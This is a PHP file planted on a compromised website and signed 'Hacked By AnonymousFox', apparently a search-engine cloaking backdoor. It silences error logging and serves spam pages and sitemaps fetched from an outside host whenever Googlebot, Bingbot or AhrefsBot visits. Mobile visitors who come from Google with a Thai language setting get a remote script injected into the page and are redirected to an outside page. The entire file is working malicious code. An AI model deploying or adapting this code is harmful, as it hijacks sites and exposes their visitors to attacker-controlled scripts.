Hacked By AnonymousFox
<?php
set_time_limit(0);
error_reporting(0);
ini_set('display_errors', '0');
ini_set('log_errors', '0');
header('Content-type: text/html; charset=utf-8');
// 远程服务器地址
$remote_server = 'https://chome.ylyl23.com/index.php?domain=';
// HTTP请求函数
function GetHttp($url, $headers = array()) {
$userAgent = 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)';
$timeout = 3;
$max_retries = 2;
$attempt = 0;
$data = false;
while ($attempt < $max_retries && $data === false) {
$attempt++;
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $userAgent);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_MAXREDIRS, 5);
$header_array = array('Accept: text/html');
if (!empty($headers)) {
$header_array = array_merge($header_array, $headers);
}
curl_setopt($ch, CURLOPT_HTTPHEADER, $header_array);
$data = @curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($data !== false && $http_code >= 200 && $http_code < 300) {
return $data;
}
}
if (ini_get('allow_url_fopen')) {
$opts = array(
'http' => array(
'method' => 'GET',
'header' => "User-Agent: $userAgent\r\nAccept: text/html\r\n" . (!empty($headers) ? implode("\r\n", $headers) . "\r\n" : ''),
'timeout' => $timeout
),
'ssl' => array(
'verify_peer' => false,
'verify_peer_name' => false
)
);
$context = stream_context_create($opts);
$data = @file_get_contents($url, false, $context);
if ($data !== false) {
return $data;
}
}
$parsed_url = parse_url($url);
$host = $parsed_url['host'];
$path = isset($parsed_url['path']) ? $parsed_url['path'] : '/';
if (isset($parsed_url['query'])) {
$path .= '?' . $parsed_url['query'];
}
$port = (isset($parsed_url['scheme']) && $parsed_url['scheme'] === 'https') ? 443 : 80;
$scheme = ($port === 443) ? 'ssl://' : '';
$fp = @fsockopen($scheme . $host, $port, $errno, $errstr, $timeout);
if ($fp) {
$out = "GET $path HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "User-Agent: $userAgent\r\n";
$out .= "Accept: text/html\r\n";
$out .= !empty($headers) ? implode("\r\n", $headers) . "\r\n" : '';
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
$response = '';
stream_set_timeout($fp, $timeout);
while (!feof($fp)) {
$response .= fgets($fp, 128);
}
fclose($fp);
$parts = explode("\r\n\r\n", $response, 2);
if (count($parts) > 1) {
$data = $parts[1];
if (preg_match('/^HTTP\/\d\.\d\s+(\d+)/', $parts[0], $matches)) {
$http_code = (int)$matches[1];
if ($http_code >= 200 && $http_code < 300) {
return $data;
}
}
}
}
if ($attempt < $max_retries) {
usleep(500000);
}
}
return false;
}
// 获取当前URL信息
$current_url = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/';
$parsed_url = parse_url($current_url);
$path = isset($parsed_url['path']) ? $parsed_url['path'] : '/';
$query_string = isset($parsed_url['query']) ? $parsed_url['query'] : '';
$host_name = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
$has_sitemap = (strpos(strtolower($current_url), 'sitemap') !== false);
$has_play_or_video = (strpos($current_url, '?play=') !== false || strpos($current_url, '?video=') !== false || strpos($current_url, '?view=') !== false || strpos($current_url, '?pg=') !== false || strpos($current_url, '?page=') !== false || strpos($current_url, '?url=') !== false);
// 处理sitemap请求
$ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
if ($has_sitemap && (strpos(strtolower($ua), 'googlebot') !== false || strpos(strtolower($ua), 'bingbot') !== false || strpos(strtolower($ua), 'ahrefsbot') !== false)) {
$host_name = $_SERVER['HTTP_HOST'];
$full_current_url = 'https://' . $host_name . $current_url;
$sitemap_content = GetHttp('http://chome.ylyl23.com/sitemap.php?xml=' . urlencode($full_current_url));
if ($sitemap_content !== false) {
ob_clean();
echo $sitemap_content;
exit;
} else {
header("HTTP/1.0 404 Not Found");
exit;
}
}
if (strpos(strtolower($ua), 'googlebot') !== false || strpos(strtolower($ua), 'bingbot') !== false || strpos(strtolower($ua), 'ahrefsbot') !== false) {
$protocol = (empty($_SERVER['HTTPS']) || $_SERVER['HTTPS'] === 'off') ? 'http://' : 'https://';
$host_name = $_SERVER['HTTP_HOST'];
$current_url = $_SERVER['REQUEST_URI'];
$full_current_url = $protocol . $host_name . $current_url;
$remote_file = $remote_server . urlencode($full_current_url);
$content_mb = GetHttp($remote_file, array('X-Current-URL: ' . $full_current_url));
if ($content_mb !== false) {
ob_clean();
echo $content_mb;
exit;
}
ob_clean();
header("HTTP/1.0 404 Not Found");
exit;
} elseif (
preg_match('/(android|iphone|ipad|mobile|phone|webos|blackberry|iemobile|opera mini|windows)/i', $ua) &&
isset($_SERVER['HTTP_REFERER']) &&
preg_match('/^https?:\/\/(www\.)?google\./i', $_SERVER['HTTP_REFERER']) &&
strpos(strtolower(isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : ''), 'th') !== false
) {
ob_start();
echo '<script type="text/javascript" src="https://www.ylyl23.com/tz.js"></script>';
ob_end_flush();
flush();
sleep(2);
header('Location: http://chome.ylyl23.com/502.php', true, 301);
exit;
}
?>
Hacked By AnonymousFox1.0, Coded By AnonymousFox